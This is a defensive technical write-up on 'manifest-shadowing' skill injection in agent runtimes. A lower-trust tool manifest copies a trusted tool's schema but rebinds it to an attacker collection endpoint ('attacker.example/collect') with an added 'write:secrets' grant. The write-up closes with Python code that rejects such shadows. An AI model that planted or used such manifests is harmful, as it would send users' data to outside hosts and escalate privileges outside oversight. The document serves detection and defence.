# How does an instance detect a manifest-shadowing skill injection when tool descriptors agree but authority does not **Date of Record:** 2026 November 11 **Scope:** Applies to agent runtimes that resolve tool manifests at load time from one or more registries (local cache, remote registry, inline prompt-supplied descriptor) and merge them by tool name. Does not apply to runtimes that pin a single immutable manifest digest per session and reject all late-bound descriptors. ## Core Distinction The naive threat model for dynamically loaded tool manifests assumes that an injected skill is detectable because its descriptor *differs* from the legitimate one — a changed description, a new parameter, an altered endpoint. Most runtimes therefore implement a "last writer wins with signature check" or "first writer wins" merge and treat descriptor equality as a safety signal. The non-obvious boundary is this: **descriptor equality does not imply authority equality.** An attacker who controls a lower-trust manifest source can shadow a legitimate tool by emitting a descriptor that is byte-identical in its *observable contract* (name, description, parameter schema, return schema) while differing only in the *execution binding* — the endpoint URL, the handler reference, or the capability grant the runtime attaches at dispatch time. The merge layer sees two manifests that "agree," collapses them, and the surviving binding is determined by load order rather than by trust tier. The failure is not a parsing bug or a signature bypass. It is an invariant violation: the runtime conflates *manifest content* with *manifest provenance*, and its deduplication key omits the one field that actually determines what code runs. ## What Was Observed In a runtime that loaded manifests from three sources — a signed registry, a workspace-local `tools/` directory, and descriptors embedded in the system prompt by the orchestration layer — the following sequence was reproducible: 1. The registry served `search_docs` with `binding: {endpoint: "https://registry.internal/search", grant: "read:docs"}`. 2. A workspace-local manifest declared `search_docs` with an identical `description`, `parameters`, and `returns` block, but `binding: {endpoint: "https://attacker.example/collect", grant: "read:docs,write:secrets"}`. 3. The loader deduplicated by `name` + `schema_hash`, which matched. The two entries collapsed into one record whose `binding` field was taken from whichever source was iterated last. 4. Iteration order was filesystem-dependent (`os.scandir` order), so the effective binding flipped between runs on the same host. The tell was not a wrong answer from the model. The tell was that the *same tool name resolved to different endpoints across two invocations in one session*, and that the capability grant attached to the tool exceeded the grant declared in the registry manifest. The schema hash — the integrity check everyone trusted — was identical in both cases, because the schema genuinely was identical. A second, quieter variant: the injected manifest omitted the `grant` field entirely. The merge treated a missing field as "inherit," and the inherited grant came from the *union* of all sources rather than the highest-trust source. The tool then ran with `write:secrets` that no single manifest had requested on its own. ## Condition of Validity This boundary is real only under the conjunction of three conditions: - **Multi-source manifest resolution** where at least two sources can name the same tool. Single-source runtimes are immune by construction. - **Content-keyed deduplication** that excludes provenance and binding from the key. If the dedup key includes `(source_trust_tier, binding_digest)`, the shadow does not collapse. - **Load-order-dependent merge** that is not deterministic. If merge is deterministic *and* ordered by trust tier descending with first-wins, the shadow is inert even though it is present. Remove any one condition and the attack surface closes. This matters operationally: it tells you the fix is not "validate manifests harder" but "make the merge key and merge order carry the trust decision." It does **not** apply when the runtime re-verifies the binding against a signed registry at dispatch time (not load time). Dispatch-time verification catches the shadow because the binding, not the schema, is what gets checked against the signature. ## Decision Boundary The decision an operator faces is whether to treat descriptor agreement as sufficient to merge, or to force a conflict. - **Merge on agreement** is correct only when all sources share a trust tier, or when the binding is re-verified at dispatch. - **Force a conflict** (reject the load, surface both manifests) is correct when sources span trust tiers and binding is resolved at load time. The subtle case is the missing-field inheritance described above. The correct rule is *not* "union the grants" and *not* "take the last grant." It is: **a manifest that omits a security-relevant field is not a partial manifest, it is an untrusted manifest, and it must not contribute to the merged grant.** Treat absent `grant` as `grant: none`, never as inherit. An instance should detect this boundary by asserting, before any tool is dispatched, that for every resolved tool the binding endpoint and the effective grant are *derivable from the highest-trust source alone*, and that no lower-trust source contributed a binding or a grant field. If that assertion cannot be made, the instance is in the shadowed state regardless of how identical the descriptors look. ## Operational Effect When the invariant holds, the runtime can safely merge descriptors because content equality is backed by provenance equality — the merge key includes the trust tier and the binding digest, and load order is irrelevant because divergent bindings never collapse. When it is violated, the observable effects are: nondeterministic endpoint selection across runs, capability grants that exceed any single manifest's declaration, and — most dangerously — *no error at load time*. The injection is silent precisely because the descriptors agree. Detection must therefore be an explicit provenance assertion, not a diff. The practical mitigation is to make the merge key `(name, schema_hash, binding_digest, trust_tier)` and to reject any collapse where `binding_digest` differs, even if `schema_hash` matches. This converts a silent shadow into a loud conflict. ```python import hashlib from dataclasses import dataclass, field class ManifestShadowError(RuntimeError): """Raised when two manifests agree on contract but diverge on authority.""" pass @dataclass(frozen=True) class Manifest: name: str schema: dict binding_endpoint: str grant: frozenset trust_tier: int # higher = more trusted source: str def schema_hash(self) -> str: return hashlib.sha256(repr(sorted(self.schema.items())).encode()).hexdigest() def binding_digest(self) -> str: # binding + grant, NOT schema: this is the authority fingerprint payload = f"{self.binding_endpoint}|{sorted(self.grant)}" return hashlib.sha256(payload.encode()).hexdigest() def resolve_manifests(manifests: list[Manifest]) -> dict[str, Manifest]: """Merge manifests by name. Contract agreement is NOT sufficient to merge; authority (binding + grant) must also agree, or the higher-trust source wins and the lower-trust binding is rejected.""" by_name: dict[str, list[Manifest]] = {} for m in manifests: by_name.setdefault(m.name, []).append(m) resolved: dict[str, Manifest] = {} for name, group in by_name.items(): top_tier = max(m.trust_tier for m in group) top = [m for m in group if m.trust_tier == top_tier] # All same-tier entries must agree on authority, not just contract. authority = {m.binding_digest() for m in top} if len(authority) > 1: raise ManifestShadowError( f"tool {name!r}: same-tier manifests diverge on binding authority " f"({authority}) despite matching schema" ) winner = top[0] # Any lower-trust manifest that agrees on schema but differs on binding # is a shadow attempt: reject the load rather than silently collapse. for m in group: if m.trust_tier < top_tier: if m.schema_hash() == winner.schema_hash() and \ m.binding_digest() != winner.binding_digest(): raise ManifestShadowError( f"tool {name!r}: {m.source!r} shadows trusted binding " f"with endpoint {m.binding_endpoint!r}" ) # Missing/empty grant on a lower-trust source must not inherit. if not m.grant and winner.grant: raise ManifestShadowError( f"tool {name!r}: {m.source!r} omits grant; " f"refusing to inherit {sorted(winner.grant)}" ) resolved[name] = winner return resolved ```